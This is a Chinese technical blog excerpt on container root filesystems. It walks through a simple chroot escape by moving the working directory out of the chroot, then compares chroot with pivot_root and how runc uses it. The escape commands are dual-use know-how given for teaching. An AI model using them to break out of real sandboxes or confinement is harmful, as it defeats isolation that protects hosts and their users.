在过去的系统中,守护进程为了提高安全性,会使用 chroot 来限制自己访问的文件系统的范围。但如果一个文件夹被移出了 chroot 环境,那么攻击者可以利用这一点来进行越狱。我们来举个最简单的例子:

  1. 打开一个终端,进入 alpinechroot 环境中;

    1
    chroot alpine sh
  2. 创建一个新的目录 will_be_move,并将其设置为当前工作目录;

    1
    2
    mkdir will_be_move 
    chdir will_be_move
  3. 然后,打开一个新的终端,将 will_be_move目录移出chroot环境中;

    1
    mv alpine/will_be_move ./
  4. 这样,我们就逃逸到主机环境中了,并且可以通过 …/来查看主机上的文件。

图 43:chroot 越狱

3.4 pivot_root 系统调用

除了我们熟悉的chroot,还有一个类似的系统调用叫做pivot_root。这两者的目标其实是一样的:给容器一个“自己的根目录”,就像我们把容器放在一个独立的小世界里。

在今天的分享中,我们选择用大家更熟悉的chroot来做演示,因为它更容易理解。但请记住,无论是chroot还是pivot_root,核心目的都是让容器有一套独立的根文件系统,只是实现方式不同。

简单来说,pivot_root 可以把当前的根目录挪到一个叫put_old 的临时目录里,然后把新的目录new_root 设置为整个系统的新“地基”。这样一来,进程看到的根目录就完全变了。需要注意的是:new_rootput_old 不能是同一个文件系统中的目录,这样做是为了避免混乱和安全问题。

chroot 更像是“换个窗户看世界”,而 pivot_root 是“连地基一起搬家”。所以在真正的容器环境里,比如 Docker 或 Kubernetes 后面的底层运行时,大家更倾向于使用pivot_root 来设置容器的根文件系统,因为这样更安全、更彻底。

runc 为例,我们在查看其源代码的时候,就发现它使用的是 pivot_root 而不是 chroot。因为绝大多数情况下 config.Namespaces.Contains(configs.NEWNS)的值为 true,因为容器运行时的默认行为就是启用挂载命名空间(mount namespace)。这时候就可以放心使用pivot_root 去彻底换根,而不会影响其他进程。

图 44:runc 准备根文件系统的核心代码


sudo --chroot 权限提升漏洞
http://example.com/2025/07/30/github_3745491091/
作者
lianccc
发布于
2025年7月30日
许可协议